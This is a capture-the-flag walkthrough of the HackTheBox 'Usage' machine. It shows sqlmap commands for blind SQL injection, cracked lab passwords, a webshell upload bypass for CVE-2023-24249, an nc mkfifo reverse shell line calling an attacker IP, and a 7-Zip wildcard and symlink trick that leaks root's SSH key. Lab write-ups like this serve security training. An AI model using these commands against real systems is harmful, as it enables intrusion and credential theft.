Overview

Usage is an easy HackTheBox Linux machine running a blog site alongside a separate Laravel-based admin panel. The password reset form’s email parameter is vulnerable to boolean-blind SQL injection, automated with sqlmap to dump three cracked credential sets, including an admin account for the Laravel panel. That panel runs encore/laravel-admin 1.8.18, vulnerable to CVE-2023-24249, a file upload bypass exploited by intercepting a request and swapping a .jpg extension for .jpg.php. Privilege escalation chains a leaked .env and .monitrc password into SSH access for a second user, then abuses a sudo-permitted backup binary’s unsanitised wildcard expansion in a call to 7-Zip to leak root’s SSH private key.

Attack Chain

  • Scan the target and find only SSH and HTTP, then add usage.htb to /etc/hosts
  • Register an account on the main site and log in to a mostly empty dashboard
  • Discover a separate admin.usage.htb login panel running Laravel
  • Find the password reset form’s email parameter is vulnerable to SQL injection
  • Confirm boolean-blind injection and automate extraction with sqlmap
  • Enumerate databases, tables, and columns, then dump admin and user credentials
  • Crack the recovered password hashes with john
  • Log in to the Laravel admin panel with the cracked admin credentials
  • Identify encore/laravel-admin 1.8.18, vulnerable to CVE-2023-24249
  • Intercept a profile picture upload in BurpSuite and rename a PHP webshell from .jpg to .jpg.php to bypass validation
  • Trigger the webshell and use an nc mkfifo reverse shell payload to catch a shell as dash
  • Read the user flag
  • Find a .env file leaking database credentials, but find them unusable elsewhere
  • Find a .monitrc file readable only by the current user, leaking a second password
  • Use it to SSH in as xander
  • Find a sudo rule allowing /usr/bin/usage_management to run as root
  • Use strings to reverse engineer the binary’s use of 7-Zip with an unsanitised wildcard
  • Exploit 7-Zip’s @filename filelist syntax combined with a crafted symlink to leak arbitrary file contents as root
  • Use the technique to read root’s SSH private key
  • Use the recovered key to SSH in as root and read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.172.221; export NAME=USAGE; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

22,80

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

nmap results


Web Enumeration

Exploring the Site

Navigating to the IP on port 80 requires resolving usage.htb. We add it to /etc/hosts.

adding usage.htb to /etc/hosts

We land on a login page, with Login, Register, and Admin options top-right.

login page with three top-right options

We register at /registration with TestName, test@email.com, and Pass1234!.

registering an account

We log in with our new credentials and land on a mostly empty dashboard.

logging in to an empty dashboard

Finding the Laravel Admin Panel

Navigating to Admin requires resolving admin.usage.htb, which we add to /etc/hosts.

Here we find a different login panel.

admin.usage.htb login panel

Wappalyzer indicates Laravel as the framework and PHP as the language.

Wappalyzer identifies Laravel and PHP


Foothold

Finding the SQL Injection

We go back to the main usage.htb site, log out, and go to the password reset link.

password reset link

We enter our test@email.com.

entering our email

We test with a basic SQL injection payload, and it goes through:

test'-- -

SQL injection payload accepted

We try it with our email:

test@email.com'-- -

It goes through too.

SQLi with a valid email format also succeeds

We’re dealing with boolean-blind injection, so we bring in sqlmap.

Automating Extraction with sqlmap

We save the email reset request from BurpSuite to a file.

saving the reset request from Burp

We clean up the email parameter so sqlmap can test it properly.

cleaning up the email parameter

Our sqlmap command:

sqlmap -r resetemail.req -p email --level 5 --risk 3 --technique=B --batch

-r for the request file, -p to specify the parameter, --technique=B for boolean-based, --batch to skip prompts.

running sqlmap

This confirms the email parameter is vulnerable to boolean-blind SQL injection, running MySQL 8.0.0.

sqlmap confirms boolean-blind SQLi on MySQL 8.0.0

We enumerate databases with --dbs and --threads 10 to speed things up.

sqlmap -r resetemail.req -p email --level 5 --risk 3 --batch --dbs --threads 10

We have three databases.

sqlmap enumerates three databases

We start with usage_blog.

sqlmap -r resetemail.req -p email --batch --tables -D usage_blog --threads 10

Two interesting tables: admin_users and users.

tables in usage_blog

We examine the columns.

sqlmap -r resetemail.req -p email --batch --columns -T admin_users,users -D usage_blog --threads 10

columns in admin_users and users

We dump name, id, password, and username from admin_users.

sqlmap -r resetemail.req -p email --batch --dump -C name,id,password,username -T admin_users -D usage_blog --threads 10

dumping admin_users

And name, email, id, and password from users.

sqlmap -r resetemail.req -p email --batch --dump -C name,email,id,password -T users -D usage_blog --threads 10

dumping users

We have three hashes and crack them all with john.

john cracks all three hashes

admin:whatever1

admin credentials

raj@raj.com:xander
raj@usage.htb:xander

raj’s credentials

Exploiting CVE-2023-24249

We log in to admin.usage.htb with admin:whatever1.

logging in to the admin panel

We’re running encore/laravel-admin 1.8.18, which has a file upload vulnerability leading to RCE, CVE-2023-24249:

https://flyd.uk/post/cve-2023-24249/

To exploit it, we go to Administrator, then Setting.

Administrator > Setting

We upload a malicious PHP file saved with a .jpg.php extension, using BurpSuite to intercept the request. We use wwwolf-php-webshell, renamed to webshell.jpg.

renaming the webshell to webshell.jpg

We capture the request in BurpSuite and add the .php extension to the filename.

adding the .php extension in Burp

We forward the request and see a GET request to /uploads/images/webshell.jpg.php.

GET request for the uploaded webshell

We have our webshell.

webshell obtained

Reverse Shell as dash

We have to move quickly, since the server removes the webshell after a few minutes. We start a penelope listener on port 443, using an nc mkfifo payload from revshells.com:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.26 443 >/tmp/f

We execute the payload.

executing the reverse shell payload

We catch a shell as dash.

shell as dash

We read the user flag.

user flag


Lateral Movement

Leaked Credentials

We examine the webroot and find a /project_admin folder. The config folder doesn’t have anything useful, but /project_admin has a .env file.

finding the .env file

Its contents give us DB_USERNAME and DB_PASSWORD.

.env reveals database credentials

staff:s3cr3t_c0d3d_1uth

These credentials don’t turn out to be reusable elsewhere.

We go back to our home directory and find .monitrc, readable only by us.

finding .monitrc

We examine it and find a new password.

monitrc reveals a password

3nc0d3d_pa$$w0rd

We test it against the user xander and establish an SSH session.

testing the password over SSH

Our interactive SSH shell as xander:

interactive shell as xander


Privilege Escalation

Reverse Engineering usage_management

We check our privileges with sudo -l and find we can run /usr/bin/usage_management as sudo.

sudo -l shows usage_management

We run it:

sudo /usr/bin/usage_management

Choosing option 1:

running usage_management, option 1

It uses 7-Zip to create an archive of /var/www/html, saved to /var/backups/project.zip. Options 2 and 3 don’t appear to do anything. We can read the binary, so we inspect it with strings.

strings /usr/bin/usage_management

The output shows it changes directory to /var/www/html and uses 7-Zip to archive it, with an interesting wildcard at the end.

strings reveals the wildcard tar/7zip call

/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *

Exploiting the 7-Zip Wildcard

The wildcard gives us an opportunity to create a symlink and read arbitrary file contents.

symlink opportunity via the wildcard

Here’s how it works:

  • 7-Zip treats any file starting with @ as a filelist, @list.txt tells it to read the contents as a list of paths to compress.
  • When root runs 7z a backup.zip -- *, the * wildcard expands to include every file in the directory, including one named @root.txt.
  • We create @root.txt as an empty file, and root.txt as a symlink to a sensitive file, like /etc/shadow.
  • When 7-Zip runs, it sees @root.txt, tries to read a filelist from root.txt (our symlink), and since the target isn’t a valid filelist, 7-Zip throws an error, and prints the file’s contents in the process.

We test this against /root/.ssh/id_rsa.

touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa

creating the symlink to id_rsa

We move the files to /var/www/html.

mv * /var/www/html

moving the files to the webroot

We run the binary with sudo, choosing option 1 again.

sudo /usr/bin/usage_management

We see the binary run and leak the contents of /root/.ssh/id_rsa.

the binary leaks root’s id_rsa

Root via the Recovered Key

We copy the key to our attacking machine, clean it up, and set permissions.

copying and cleaning up the key

We log in as root.

ssh root@$IP -i root.key

logging in as root

We have an interactive SSH session as root.

interactive session as root

We read the root flag.

root flag


Key Takeaways

Usage strings together three distinct classes of vulnerability. A boolean-blind SQL injection in a password reset form is slow to exploit manually but trivially automated with sqlmap, and yielded credentials for two separate accounts across two separate applications. Laravel’s admin package had a known file upload validation gap that a simple double-extension trick, .jpg.php, was enough to defeat. The most interesting lesson is the root cause: a sudo-permitted binary that expanded a bare * wildcard when calling 7-Zip let a low-privileged user smuggle a specially-named symlink into the archive process, turning 7-Zip’s own error-reporting behavior into an arbitrary file read as root.